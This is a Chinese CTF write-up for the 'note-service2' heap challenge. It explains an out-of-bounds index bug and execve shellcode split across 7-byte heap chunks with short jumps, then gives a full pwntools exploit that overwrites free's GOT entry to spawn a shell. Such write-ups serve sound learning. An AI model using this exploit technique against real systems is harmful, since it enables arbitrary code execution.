攻防世界-note-service2

前言

做到的第一个堆题,对我来说还是有丶难度,遂记录一下。

题目分析

首先checksec一下:

checksec

堆栈数据可执行,且存在可写入的段,根据我的经验来说这种情况一般是走ret2shellcode。

然后IDA反汇编看一下程序逻辑,这里直接看漏洞点:

ida_code

这里由于数组索引存在越界,所以我们通过修改索引,可以实现任意地址写。

解题思路

既然我们可以在堆内写入内容,这里就考虑在分配的堆块中写入shellcode,但是由于每个堆块最多只能写入7字节,所以我们这里将shellcode分开写入多个堆块中,再使用 jmp short xxx 来跳转。

接下来的问题是这个xxx是多少,这个是有公式的:

xxx = 目标地址 - 当前地址 - 命令长度

chunk_offset

那么根据公式计算:xxx = 2+1+8+8+8 - 2 = 0x19

跳转的问题解决了,接下来可以开始构造shellcode链

1
2
3
4
5
mov rdi, xxx   ;xxx=&("/bin/sh")  
xor rsi,rsi ;rsi=0,不用 mov xxx,0 是因为超过长度了
mov rax, 0x3b ;rax=0x3b 占4字节
xor rdx,rdx ;rdx=0 占2字节
syscall ;占2字节

ps: 使用enhex(asm('xor rsi, rsi'))可以查看汇编代码对应机器码的十六进制长度。

1
2
3
4
asm("xor rsi,rsi")+"\x90\x90\xeb\x19"
asm("mov rax,0x3b")+"\xeb\x19"
asm("xor rdx,rdx")+"\x90\x90\xeb\x19"
asm("syscall").ljust(7,"\x90")

后面的语句都好写,但是第一条给rdi传参无论怎么写都会超长,这里需要另谋他法:

  1. 申请一个堆块A,填入内容为/bin/sh
  2. 修改free函数got表内容,使其被调用后跳转到下一个堆块
  3. 调用free(A),根据传参规则,此时rdi里就会是/bin/sh的地址,并且启动整个堆块链

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *

io = process('./note-service2')
elf = ELF('./note-service2')
context.update(arch ='amd64')

heap_addr = 0x2020a0
free_got = elf.got['free']

def add(index, content):
io.sendlineafter('your choice>>', "1")
io.sendlineafter('index:', str(index))
io.sendlineafter('size:', "8")
io.sendlineafter('content:', content)


def dele(index):
io.sendlineafter('your choice>>', "4")
io.sendlineafter('index:', str(index))


add(0, '/bin/sh')
add((free_got-heap_addr)/8, asm('xor rsi, rsi')+b"\x90\x90\xeb\x19")
add(1, asm('mov eax, 0x3b')+b"\xeb\x19")
add(2, asm('xor rdx, rdx')+b"\x90\x90\xeb\x19")
add(3, asm('syscall').rjust(7, b'\x90') # ljust/rjust 在这里没有区别

dele(0)
io.interactive()

注意:

这里我看其他师傅写的wp时有个疑惑的地方,这里free_got-heap_addr的值是-17,也就是说dele(0)在把/bin/sh弹入rdi后,是从array[-17]开始执行的,下一个堆块是array[1],但是jmp short xxx时的offset依然是0x19,由于我对堆块的分配规则不太熟悉,这里我思考了许久,猜测堆块是以类似链表的形式连在一起的,按照创建的先后顺序依次链接,所以才会-17之后是1这样,而不能被之前那张计算偏移的图所误导。

chunk_link

总结

害,想加师傅好友问清楚是不是我想的那样,现在还没通过申请2333

睡了睡了!

0%